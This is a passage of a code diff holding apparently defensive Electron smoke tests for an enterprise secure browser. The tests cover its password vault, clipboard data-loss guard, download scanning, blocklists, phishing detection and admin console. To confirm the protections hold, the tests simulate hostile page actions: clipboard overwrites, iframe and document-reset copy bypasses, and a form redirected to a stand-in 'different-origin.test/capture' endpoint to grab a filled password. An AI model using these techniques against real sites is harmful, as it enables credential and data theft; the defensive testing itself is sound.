agentApp('settings:get')).appearance.mode,'dark'); + const library=await agentApp('bookmarks:list');const bookmark={id:'agent-native-proof',title:'Public fixture bookmark',url:url+'/'}; + await agentApp('bookmarks:mutate',{action:'add',bookmark,expectedRevision:library.personal.revision,policyVersion:library.policyVersion}); + const updatedLibrary=await agentApp('bookmarks:list');assert.equal(updatedLibrary.personal.items.some(item=>item.id===bookmark.id),true); + await agentApp('bookmarks:mutate',{action:'delete',id:bookmark.id,expectedRevision:updatedLibrary.personal.revision,policyVersion:updatedLibrary.policyVersion}); + const createdTab=await agentApp('tabs:create',{group:'Agent proof'});assert.notEqual(createdTab.sessionId,sessionId); + await agentApp('tabs:group',{sessionId:createdTab.sessionId,group:'Public work'}); + await agentApp('tabs:activate',{sessionId});await agentApp('tabs:close',{sessionId:createdTab.sessionId}); + assert.equal((await agentApp('application:state')).activeTabId,sessionId); + log('First-class agent settings, centrally revisioned bookmarks and native tab controls passed'); + const fixtureMaster='fixture-master-password-for-smoke-only'; + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultCreate(${JSON.stringify(fixtureMaster)})`)).ok,true); + const generated=await win.webContents.executeJavaScript('window.safetynet.vaultGenerate()');assert.equal(generated.ok,true);assert.equal(generated.data.length,32); + const login={origin:'https://vault-login.test',label:'Fixture login',username:'fixture-user',password:generated.data}; + const saved=await win.webContents.executeJavaScript(`window.safetynet.vaultSave(${JSON.stringify(login)})`);assert.equal(saved.ok,true); + const listed=await win.webContents.executeJavaScript('window.safetynet.vaultList()');assert.equal(listed.ok,true);assert.equal(listed.data[0].password,undefined); + const encryptedVault=fs.readFileSync(path.join(process.env.SAFETYNET_SMOKE_USERDATA,'password-vault.json'),'utf8');assert.equal(encryptedVault.includes(login.password),false);assert.equal(encryptedVault.includes(login.username),false);assert.equal(encryptedVault.includes(fixtureMaster),false); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultFill(${JSON.stringify(saved.data.id)})`)).ok,false,'HTTP page accepted vault fill'); + // Protocol fixture exercises Chromium's actual isolated DOM fill; production TLS remains mandatory. + await page.session.protocol.handle('https',request=>{if(new URL(request.url).origin!==login.origin)throw Error('Unexpected fixture origin');return new Response('Vault login fixture
',{headers:{'content-type':'text/html'}});}); + try{ + assert.equal((await win.webContents.executeJavaScript('window.safetynet.navigate("https://vault-login.test/login")')).ok,true); + const beforeScriptedClipboard=await clipboard.readText(); + try{ + await clipboard.writeText(clipboardSentinel); + const scriptWrite=await Promise.race([page.executeJavaScript("navigator.clipboard.writeText('Hidden page clipboard replacement').then(()=>true).catch(()=>false)",true),wait(3000).then(()=>false)]); + assert.equal(scriptWrite,false,'Secure page acquired unguarded Clipboard API write'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Secure page overwrote OS clipboard through Clipboard API'); + await page.executeJavaScript("(()=>{const frame=document.createElement('iframe');frame.id='clipboard-child';frame.srcdoc='

Secret Roadmap

';document.body.append(frame)})()");await wait(350); + const childCapabilities=await page.executeJavaScript("(()=>{const child=document.getElementById('clipboard-child').contentWindow;return [typeof child.require,typeof child.process,typeof child.safetynet]})()"); + assert.deepEqual(childCapabilities,['undefined','undefined','undefined'],'Child frame obtained Node or browser bridge capabilities'); + assert.equal(page.getLastWebPreferences().sandbox,true,'Managed renderer sandbox was disabled'); + await page.executeJavaScript("(()=>{const frame=document.getElementById('clipboard-child');try{const child=frame.contentWindow,d=child.document;if(!d.getElementById('selected'))return;const r=d.createRange();r.selectNodeContents(d.getElementById('selected'));child.getSelection().removeAllRanges();child.getSelection().addRange(r);child.focus();d.execCommand('copy')}catch{}finally{frame.remove()}})()",true);await wait(200); + assert.equal(await clipboard.readText(),clipboardSentinel,'Child frame legacy copy bypassed clipboard protection'); + await page.executeJavaScript("(()=>{const frame=document.createElement('iframe');document.body.append(frame);try{const child=frame.contentWindow,d=child.document;d.body.textContent='Secret Roadmap';const r=d.createRange();r.selectNodeContents(d.body);child.getSelection().removeAllRanges();child.getSelection().addRange(r);child.focus();d.execCommand('copy')}finally{frame.remove()}})()",true);await wait(200); + assert.equal(await clipboard.readText(),clipboardSentinel,'Immediate about:blank child copy bypassed clipboard protection'); + const childReset=await page.executeJavaScript("(()=>{const frame=document.createElement('iframe');document.body.append(frame);try{const child=frame.contentWindow,d=child.document;d.open();d.write('

Secret Roadmap

');d.close();const r=d.createRange();r.selectNodeContents(d.body);child.getSelection().removeAllRanges();child.getSelection().addRange(r);child.focus();d.execCommand('copy');return 'reset-completed'}catch(error){return error.name}finally{frame.remove()}})()",true);await wait(200); + assert.equal(childReset,'SecurityError','Child document replacement was not blocked'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Document reset bypassed child clipboard protection'); + const mainReset=await page.executeJavaScript("(()=>{try{document.open();document.write('

Secret Roadmap

');document.close();const r=document.createRange();r.selectNodeContents(document.body);getSelection().removeAllRanges();getSelection().addRange(r);document.execCommand('copy');return 'reset-completed'}catch(error){return error.name}})()",true);await wait(200); + assert.equal(mainReset,'SecurityError','Main document replacement was not blocked'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Document reset bypassed main-frame clipboard protection'); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.navigate("https://vault-login.test/login")')).ok,true); + }finally{await clipboard.writeText(beforeScriptedClipboard);} + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultFill(${JSON.stringify(saved.data.id)})`)).ok,true,'Exact HTTPS origin fill failed'); + assert.equal(await page.executeJavaScript('document.getElementById("login-user").value'),login.username);assert.equal(await page.executeJavaScript('document.getElementById("login-password").value'),login.password); + assert.equal(await page.executeJavaScript('typeof window.safetynet'),'undefined','Remote site obtained vault bridge'); + await page.executeJavaScript('document.querySelector("form").action="https://different-origin.test/capture"'); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultFill(${JSON.stringify(saved.data.id)})`)).ok,false,'Cross-origin form accepted password'); + }finally{await page.session.protocol.unhandle('https');await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(url)})`);} + await win.webContents.executeJavaScript('document.getElementById("passwords").click()');await wait(200); + assert.equal(await win.webContents.executeJavaScript('document.getElementById("vault").hidden'),false); + try{fs.writeFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'browser-vault.png'),(await win.webContents.capturePage()).toPNG());}catch{log('Vault screenshot unavailable');} + win.emit('blur');await wait(100);assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultStatus()')).data.locked,true); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultList()')).ok,false); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultUnlock("wrong-fixture-password-only")')).ok,false); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultUnlock(${JSON.stringify(fixtureMaster)})`)).ok,true); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultList()')).data.length,1); + await win.webContents.executeJavaScript('document.getElementById("vault-close").click()');await wait(100); + log('Real local vault: native ML-KEM, DPAPI, encrypted storage, masked metadata, isolated exact-HTTPS fill, hostile form denial, blur lock and reopen passed'); + const {dialog}=require('electron'),originalSave=dialog.showSaveDialog;let saveCalls=0; + dialog.showSaveDialog=async(_win,options)=>{saveCalls++;return {canceled:false,filePath:path.join(process.env.SAFETYNET_SMOKE_USERDATA,path.basename(options.defaultPath))};}; + try{ + await page.executeJavaScript('document.getElementById("safe-download").click()'); + const safeFile=path.join(process.env.SAFETYNET_SMOKE_USERDATA,'safe.bin');for(let n=0;n<600;n++){if(fs.existsSync(safeFile)&&fs.statSync(safeFile).size===5)break;await wait(100);} + assert.equal(fs.existsSync(safeFile),true,'Scanned benign download was not released');assert.deepEqual(fs.readFileSync(safeFile),Buffer.from([0,1,2,3,255]));assert.equal(saveCalls,1); + await page.executeJavaScript('document.getElementById("blocked-download").click()'); + for(let n=0;n<300;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(s.data.message.startsWith('Download blocked:'))break;await wait(100);} + assert.equal(fs.existsSync(path.join(process.env.SAFETYNET_SMOKE_USERDATA,'blocked.bin')),false);assert.equal(saveCalls,1,'Blocked download reached save dialog'); + log('Real YARA download gate: safe binary saved; blocked file never reaches save dialog/filesystem'); + }finally{dialog.showSaveDialog=originalSave;} + const sample=path.join(process.env.SAFETYNET_SMOKE_USERDATA,'secret-sample.docx'); + const runtime=path.resolve('.runtime/windows/python/python.exe'); + if(fs.existsSync(runtime)){ + const create=require('node:child_process').spawnSync(runtime,['-c','import sys,zipfile; z=zipfile.ZipFile(sys.argv[1],"w"); z.writestr("word/document.xml",\'Secret Roadmap\'); z.close()',sample],{encoding:'utf8',windowsHide:true});assert.equal(create.status,0,create.stderr); + const {dialog}=require('electron'),originalChooser=dialog.showOpenDialog; + dialog.showOpenDialog=async()=>({canceled:false,filePaths:[sample]}); + try{const inspection=await win.webContents.executeJavaScript('window.safetynet.inspectFile()');assert.equal(inspection.ok,true,inspection.error);assert.equal(inspection.data.ruleId,'secret-roadmap');assert.equal(inspection.data.contentType,'office');}finally{dialog.showOpenDialog=originalChooser;} + log('Bundled local document inspection passed'); + } + await page.executeJavaScript(`fetch(${JSON.stringify(url+'/sink')},{method:'POST',body:new Uint8Array([255,254])}).catch(()=>{})`); + assert.equal((await (await fetch(url+'/count')).json()).posts,1,'Binary upload reached the destination'); + log('Capturing browser'); + try{fs.writeFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'browser.png'),(await win.webContents.capturePage()).toPNG());}catch(e){log('Screenshot unavailable: '+e.message);} + log('Loading admin console'); + const admin=new BrowserWindow({show:false,width:1440,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true}}); + await admin.loadURL(process.env.SAFETYNET_SMOKE_SERVER); + await admin.webContents.executeJavaScript(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_SMOKE_ADMIN)};document.getElementById('connect').click();`); + for(let n=0;n<30;n++){if(await admin.webContents.executeJavaScript('!document.getElementById("workspace").hidden'))break;await wait(100);} + assert.equal(await admin.webContents.executeJavaScript('document.getElementById("workspace").hidden'),false); + try{fs.writeFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'admin.png'),(await admin.webContents.capturePage()).toPNG());}catch(e){log('Screenshot unavailable: '+e.message);} + const headers={authorization:`Bearer ${process.env.SAFETYNET_SMOKE_ADMIN}`,'content-type':'application/json'}; + const secondary=process.env.SAFETYNET_SMOKE_SECONDARY; + assert.equal(await page.executeJavaScript(`fetch(${JSON.stringify(secondary)}).then(r=>r.text())`),'secondary'); + const beforeDNS=(await (await fetch(url+'/count')).json()).secondaryRequests; + const blocklistUpdate=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/security/blocklists`,{method:'PUT',headers,body:JSON.stringify({expectedVersion:1,blockedHosts:['blocked.test'],blockedIPs:['127.0.0.2']})});assert.equal(blocklistUpdate.status,200); + for(let n=0;n<200;n++){const updated=await win.webContents.executeJavaScript('window.safetynet.state()');if(updated.data.ready&&updated.data.policyVersion===2)break;await wait(100);} + assert.equal(await page.executeJavaScript(`fetch(${JSON.stringify(secondary)}).then(()=>false).catch(()=>true)`),true); + assert.equal((await (await fetch(url+'/count')).json()).secondaryRequests,beforeDNS,'Blocked IP receiver got the request');log('Live DNS/IP blocklist prevented a previously working destination'); + const overview=await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json(); + const managedPolicy=overview.policy;managedPolicy.version+=1;managedPolicy.security.dns.blockedIPs=[];managedPolicy.proxy={mode:'fixed_servers',rules:`http=127.0.0.1:${new URL(url).port}`,bypass:''}; + const publication=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(managedPolicy)});assert.equal(publication.status,200); + for(let n=0;n<180;n++){const updated=await win.webContents.executeJavaScript('window.safetynet.state()');if(updated.data.ready&&updated.data.policyVersion===3)break;await wait(100);} + const navigation=await win.webContents.executeJavaScript(`window.safetynet.navigate('http://proxy-check.invalid/')`);assert.equal(navigation.ok,true,navigation.error); + assert.ok((await (await fetch(url+'/count')).json()).proxyRequests>0,'Managed proxy did not receive browser navigation');log('Managed proxy enforcement passed'); + const reference='The confidential engineering roadmap contains restricted architecture budgets and unreleased customer contracts.'; + const draftResponse=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/teaching`,{method:'POST',headers,body:JSON.stringify({label:'Internal engineering reference',filename:'internal.txt',data:Buffer.from(reference).toString('base64')})});assert.equal(draftResponse.status,200); + const draft=await draftResponse.json();assert.equal(draft.status,'draft');assert.ok(draft.reference.fragmentHashes.length>0); + const publicationResponse=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/teaching/${draft.id}/publish`,{method:'POST',headers,body:JSON.stringify({expectedVersion:3,approve:true})});assert.equal(publicationResponse.status,200); + for(let n=0;n<200;n++){const updated=await win.webContents.executeJavaScript('window.safetynet.state()');if(updated.data.ready&&updated.data.policyVersion===4)break;await wait(100);} + await page.executeJavaScript("fetch('/sink',{method:'POST',body:'Public text after teaching'}).then(r=>r.text())"); + const beforeExcerpt=(await (await fetch(url+'/count')).json()).posts; + const excerpt='Public preface: engineering roadmap contains restricted architecture budgets and unreleased customer contracts. Public appendix.'; + assert.equal(await page.executeJavaScript(`fetch('/sink',{method:'POST',body:${JSON.stringify(excerpt)}}).then(()=>false).catch(()=>true)`),true); + assert.equal((await (await fetch(url+'/count')).json()).posts,beforeExcerpt,'Registered confidential excerpt reached external receiver'); + log('Governed document teaching published signed fragment rules and blocked an altered excerpt before transmission'); + for(const [enabled,version] of [[false,5],[true,6]]){ + const toggle=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/devices/${result.data.deviceId}/inspection`,{method:'PATCH',headers,body:JSON.stringify({expectedVersion:version-1,documentAnalysisEnabled:enabled})});assert.equal(toggle.status,200); + for(let n=0;n<200;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(s.data.ready&&s.data.policyVersion===version)break;await wait(100);} + const scanState=await win.webContents.executeJavaScript('window.safetynet.state()');assert.equal(scanState.data.documentScanEnabled,enabled); + if(!enabled){const scan=await win.webContents.executeJavaScript('window.safetynet.inspectFile()');assert.equal(scan.ok,false);assert.match(scan.error,/disabled/);assert.equal(await page.executeJavaScript(`fetch('/sink',{method:'POST',body:'Secret Roadmap'}).then(()=>false).catch(()=>true)`),true);} + } + log('Signed per-browser document-analysis switch changed manual scanning without disabling mandatory DLP'); + const displayPolicy=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json()).policy; + displayPolicy.version+=1;displayPolicy.security.content.blockedPhrases=['restricted-display-marker']; + const displayPublication=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(displayPolicy)});assert.equal(displayPublication.status,200); + for(let n=0;n<200;n++){const updated=await win.webContents.executeJavaScript('window.safetynet.state()');if(updated.data.ready&&updated.data.policyVersion===7)break;await wait(100);} + await page.executeJavaScript("document.body.append('restricted-display-marker')"); + for(let n=0;n<50;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(!s.data.ready)break;await wait(100);} + const contentState=await win.webContents.executeJavaScript('window.safetynet.state()');assert.equal(contentState.data.ready,false);assert.equal(contentState.data.message,'This page contains content blocked by company policy.'); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(page.getURL()+'#same-document')})`)).ok,false,'Hash-only navigation escaped content quarantine'); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.navigate("wss://example.test/")')).ok,false,'Unsupported navigation cleared quarantine'); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,false); + log('Live signed content rule quarantined a changed document through isolated preload'); + displayPolicy.version+=1;displayPolicy.security.content.blockedPhrases=[]; + assert.equal((await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(displayPolicy)})).status,200); + for(let n=0;n<200;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(s.data.ready&&s.data.policyVersion===8)break;await wait(100);} + assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,true); + const visualLogin='Visual identity fixture

SafetyNet Identity Lab

Sign in

Use your laboratory account

'; + await page.session.protocol.handle('https',request=>{if(new URL(request.url).origin!=='https://identity.example.test')throw Error('Unexpected visual fixture URL');return new Response(visualLogin,{headers:{'content-type':'text/html'}});}); + log('Visual fixture: navigating approved origin'); + await Promise.race([win.webContents.executeJavaScript('window.safetynet.navigate("https://identity.example.test/login")'),wait(15000).then(()=>{throw Error('Visual fixture navigation timed out');})]);await wait(400); + log('Visual fixture: capturing approved form'); + const formRect=await page.executeJavaScript('(()=>{const r=document.querySelector("form").getBoundingClientRect();return {x:Math.floor(r.x),y:Math.floor(r.y),width:Math.ceil(r.width),height:Math.ceil(r.height)}})()'); + const referencePNG=await require('../apps/browser/visual-capture.cjs').capturePNG(page,formRect); + const referenceResponse=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/security/visual-reference`,{method:'POST',headers,body:JSON.stringify({expectedVersion:8,brandId:'identity-lab',label:'Controlled Identity Lab',allowedOrigins:['https://identity.example.test'],data:referencePNG.toString('base64'),scope:'login-form'})});assert.equal(referenceResponse.status,200);const visualDraft=await referenceResponse.json(); + const visualPolicy=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json()).policy;visualPolicy.version++;visualDraft.brand.requiredText=['SafetyNet Identity Lab'];visualPolicy.security.visualPhishing={enabled:true,failClosed:true,brands:[visualDraft.brand]}; + assert.equal((await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(visualPolicy)})).status,200); + for(let n=0;n<200;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(s.data.ready&&s.data.policyVersion===9&&!s.data.loginCheckPending)break;await wait(100);} + assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,true,'Approved visual origin blocked'); + const postsBeforePhish=(await (await fetch(url+'/count')).json()).posts; + await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(url+'/visual-login')})`); + for(let n=0;n<120;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(!s.data.ready)break;await wait(100);} + const phishingState=(await win.webContents.executeJavaScript('window.safetynet.state()')).data;assert.equal(phishingState.ready,false);assert.equal(phishingState.message,'Blocked: this login resembles a protected brand on an unapproved origin.'); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(page.getURL()+'#same-document')})`)).ok,false,'Hash-only navigation escaped visual quarantine'); + let visualEvents;await clipboardWait(async()=>{visualEvents=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json()).events;return visualEvents.some(e=>e.kind==='phishing.block'&&e.metadata.ruleId==='identity-lab');});assert.ok(visualEvents.some(e=>e.kind==='phishing.block'&&e.metadata.ruleId==='identity-lab'),'Visual brand decision was not audited'); + assert.equal((await (await fetch(url+'/count')).json()).posts,postsBeforePhish); + await wait(2500);assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,false,'Policy refresh cleared phishing quarantine'); + const safeNavigation=await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(url)})`);assert.equal(safeNavigation.ok,true,safeNavigation.error); + await page.session.protocol.unhandle('https'); + log('Real screenshot-derived pHash: trusted origin allowed, identical login at unlisted origin blocked, no payload released, quarantine survived refresh and safe navigation recovered'); + const managedClipboardPolicy=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json()).policy; + const liveClipboardOriginal=await clipboard.readText(); + try{ + for(const allowed of [false,true]){ + // A new policy intentionally reloads the managed document. Observe that + // reload before selecting text; otherwise the guard correctly rejects a + // selection whose document is replaced during inspection. + let policyDocumentLoaded=false;const onPolicyLoad=()=>{policyDocumentLoaded=true;}; + page.once('did-finish-load',onPolicyLoad); + managedClipboardPolicy.version++;managedClipboardPolicy.security.clipboard.allowCopy=allowed; + assert.equal((await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(managedClipboardPolicy)})).status,200); + await clipboardWait(async()=>{const s=(await win.webContents.executeJavaScript('window.safetynet.state()')).data;return s.ready&&s.policyVersion===managedClipboardPolicy.version;}); + await clipboardWait(async()=>policyDocumentLoaded&&!page.isLoading());page.removeListener('did-finish-load',onPolicyLoad); + await clipboard.writeText(clipboardSentinel);await selectClipboardText('Public live-policy sample'); + // Adding the synthetic selection node triggers the preload's 150 ms + // visual-mutation debounce. Let that new document revision be checked + // before starting the deliberately slower isolated YARA scan. + await page.executeJavaScript('new Promise(resolve=>setTimeout(resolve,250))'); + await clipboardWait(async()=>{const s=(await win.webContents.executeJavaScript('window.safetynet.state()')).data;return s.ready&&!s.loginCheckPending;}); + await clipboardKey('C'); + if(allowed&&await clipboard.readText()!=='Public live-policy sample'){const s=(await win.webContents.executeJavaScript('window.safetynet.state()')).data;log('Live copy gate state: '+JSON.stringify({ready:s.ready,policyVersion:s.policyVersion,message:s.message,clipboardPending:s.clipboardPending,loginCheckPending:s.loginCheckPending}));} + assert.equal(await clipboard.readText(),allowed?'Public live-policy sample':clipboardSentinel,'Native copy ignored centrally published permission'); + await clipboard.writeText(clipboardSentinel);const share=await win.webContents.executeJavaScript('window.safetynet.shareURL()'); + assert.equal(share.ok,allowed,'Share ignored centrally published copy permission'); + assert.equal(await clipboard.readText(),allowed?new URL(url).toString():clipboardSentinel,'Share clipboard effect did not match signed copy policy'); + } + log('Live signed clipboard permission blocked and re-enabled native Copy and Share without restart'); + }finally{await clipboard.writeText(liveClipboardOriginal);await page.executeJavaScript("document.getElementById('clipboard-source')?.remove()");} + await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/devices/${result.data.deviceId}/revoke`,{method:'POST',headers,body:'{}'}); + for(let n=0;n<180;n++){const state=await win.webContents.executeJavaScript('window.safetynet.state()');if(!state.data.ready)break;await wait(100);} + assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,false,'Revocation did not quarantine browser'); + console.log('Electron smoke passed: enrollment, clipboard DLP/ClickFix and live permissions, sandboxed frame bypass tests, agents, YARA pre-save downloads, local documents, live DNS/content, proxy, governed teaching and revocation.'); + require('../apps/browser/page-clipboard-guard.cjs').disposePageClipboardGuard(page); + app.exit(0); + }catch(e){fs.appendFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),e.stack+'\n');console.error(e.stack);app.exit(1);} +}); diff --git a/scripts/enterprise-admin-smoke.cjs b/scripts/enterprise-admin-smoke.cjs new file mode 100644 index 0000000..8a780bb --- /dev/null +++ b/scripts/enterprise-admin-smoke.cjs @@ -0,0 +1,37 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive');} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`); + assert.equal(await evaluate(`document.querySelectorAll('nav a').length>=12`),true);assert.equal(await evaluate(`document.getElementById('draft-state').textContent`),'Published policy v1');assert.equal(await evaluate(`document.getElementById('token').value`),'');assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1'); + await evaluate(`document.getElementById('preset-id').value='baseline';document.getElementById('preset-id').dispatchEvent(new Event('change'));document.getElementById('preset-preview').click()`);await waitFor(`!document.getElementById('preset-apply').disabled`); + assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1');assert.ok((await evaluate(`document.getElementById('preset-changes').textContent`)).includes('browser.allowDevTools')); + await evaluate(`document.getElementById('preset-apply').click()`);await waitFor(`document.getElementById('status').textContent.includes('Template added')`);assert.equal(await evaluate(`document.getElementById('devtools').checked`),false);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1'); + await evaluate(`document.getElementById('review-changes').click()`);assert.equal(await evaluate(`document.getElementById('change-review').open`),true);assert.ok((await evaluate(`document.getElementById('change-review-list').textContent`)).includes('browser.allowDevTools'));assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1');await evaluate(`document.getElementById('review-close').click()`); + await evaluate(`document.getElementById('publish').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`); + await evaluate(`const values={'enterprise-dns-mode':'secure','enterprise-dns-templates':'https://dns.synthetic.example/dns-query','enterprise-vpn-interfaces':'Synthetic Corporate VPN','enterprise-vpn-dns':'10.77.0.53','enterprise-icap-url':${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_ICAP)},'enterprise-icap-method':'RESPMOD','enterprise-icap-timeout':'10000','enterprise-icap-max':'1048576'};for(const [id,value]of Object.entries(values))document.getElementById(id).value=value;for(const id of ['enterprise-vpn-required','enterprise-icap-enabled'])document.getElementById(id).checked=true;document.getElementById('enterprise-icap-probe').click()`); + await waitFor(`document.getElementById('enterprise-icap-status').textContent.includes('passed')`);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2'); + await evaluate(`document.getElementById('diagnostics-enabled').checked=true;document.getElementById('diagnostics-mode').value='debug';document.getElementById('diagnostics-endpoint').value='https://collector.synthetic.example';document.getElementById('diagnostics-debug-sample').value='1';document.getElementById('agent-scope-bookmarks:mutate').checked=true;`); + await evaluate(`document.getElementById('publish').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'&&document.getElementById('status').textContent.includes('published')`); + const fields=await evaluate(`({dns:document.getElementById('enterprise-dns-mode').value,vpn:document.getElementById('enterprise-vpn-required').checked,icap:document.getElementById('enterprise-icap-enabled').checked,method:document.getElementById('enterprise-icap-method').value,readiness:document.getElementById('integration-readiness').textContent,errors:globalThis.__proofErrors})`);assert.equal(fields.dns,'secure');assert.equal(fields.vpn,true);assert.equal(fields.icap,true);assert.equal(fields.method,'RESPMOD');assert.ok(fields.readiness.includes('configured'));assert.equal(fields.errors,0); + assert.equal(await evaluate(`document.getElementById('preset-changes').childElementCount`),0);assert.equal(await evaluate(`document.getElementById('preset-description').textContent`),''); + await evaluate(`scrollTo(0,0)`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/enterprise-admin.png'),(await window.webContents.capturePage()).toPNG()); + await evaluate(`document.getElementById('event-filter').value='no-such-synthetic-event';document.getElementById('event-filter').dispatchEvent(new Event('input'));`);assert.ok((await evaluate(`document.getElementById('event-filter-count').textContent`)).startsWith('0 of '));await evaluate(`document.getElementById('event-filter').value='';document.getElementById('event-filter').dispatchEvent(new Event('input'));document.getElementById('device-filter').value='synthetic';document.getElementById('device-filter').dispatchEvent(new Event('input'));`);assert.equal(await evaluate(`document.getElementById('device-filter-count').textContent`),'0 of 0 devices'); + for(const theme of ['light','dark']){await evaluate(`document.getElementById('console-theme').value=${JSON.stringify(theme)};document.getElementById('console-theme').dispatchEvent(new Event('change'));`);assert.equal(await evaluate(`document.documentElement.dataset.theme`),theme);assert.equal(await evaluate(`localStorage.getItem('safetynet.admin.theme')`),theme);window.webContents.invalidate();await new Promise(r=>setTimeout(r,150));fs.writeFileSync(path.resolve(`artifacts/admin-console-${theme}.png`),(await window.webContents.capturePage()).toPNG());} + window.setSize(600,1000);await evaluate(`scrollTo(0,0)`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,150));assert.equal(await evaluate(`document.documentElement.scrollWidth<=innerWidth`),true);fs.writeFileSync(path.resolve('artifacts/admin-console-mobile.png'),(await window.webContents.capturePage()).toPNG());assert.equal(await evaluate(`globalThis.__proofErrors`),0); + await evaluate(`document.getElementById('sessions-load').click()`);await waitFor(`document.getElementById('sessions-status').textContent.includes('0 active management sessions')`); + await evaluate(`globalThis.__adminPrincipal=currentPrincipal;applyOperatorPermissions({sub:'synthetic-auditor',role:'auditor',permissions:['overview.read','audit.read','policy.read','teaching.read']});`);assert.equal(await 